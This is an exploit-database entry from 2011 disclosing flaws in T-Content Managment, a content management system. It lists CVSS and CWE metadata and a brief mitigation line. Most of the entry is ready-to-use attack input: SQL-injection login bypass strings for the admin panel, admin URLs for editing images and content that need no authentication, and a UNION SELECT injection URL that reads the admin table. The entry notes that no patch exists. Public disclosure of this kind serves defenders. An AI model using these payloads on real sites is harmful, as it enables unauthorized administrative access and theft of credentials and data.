T-Content Managment Multiple Vulnerability

vendor:

T-Content Managment

by:

Daniel Godoy

8.8

CVSS

HIGH

Authentication Bypass, Authentication Bypass 2, SQL Injection

89, 564, 89

CWE

Product Name: T-Content Managment

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

T-Content Managment Multiple Vulnerability

A vulnerability in T-Content Managment allows an attacker to bypass authentication by using the user 'admin' or 1=1-- and the password ' or 1=1--. Additionally, an attacker can edit images and content by using the URLs http://path/admin/galerias/admin_fotos.php?id_tipo=0&id_relacionado=0&nombre=Novedades and http://path/admin/admin/novedades/inc_listado.php?orden=titulo respectively. Furthermore, an attacker can exploit a SQL injection vulnerability by using the URL http://path/notaevento.php?id_novedad=-1+UNION+SELECT+1,2,3,4+from+admin--.

Mitigation:

Developers should ensure that user input is properly sanitized and validated to prevent authentication bypass and SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: T-Content Managment Multiple Vulnerability
# Date: 06/02/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: http://www.telematica.com.ar/tcms.asp
# http://www.telematica.com.ar/portfolio.asp
# Tested on: Linux
 
[Comment]
Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro
Lezaeta, Nicolas Montanaro, Inyexion, Login-Root, KikoArg, Ricota,
Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick
Jordan,Animacco ,
yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El
Rodrix, l0ve, NetT0xic,
Gusan0r, Sabertrail, Maxi Soler. Darioxchx,r0dr1,Zer0-Zo0rg
 
  
[Authentication Bypass]

http://path/admin/

user: admin' or 1=1--
pass: ' or 1=1--

or

user: admin
pass: ' or 1=1--

[Authentication Byppas 2]

edit images :
http://path/admin/galerias/admin_fotos.php?id_tipo=0&id_relacionado=0&nombre=Novedades
edit content:
http://path/admin/admin/novedades/inc_listado.php?orden=titulo

[SQL Injection]

http://path/notaevento.php?id_novedad=-1+UNION+SELECT+1,2,3,4+from+admin--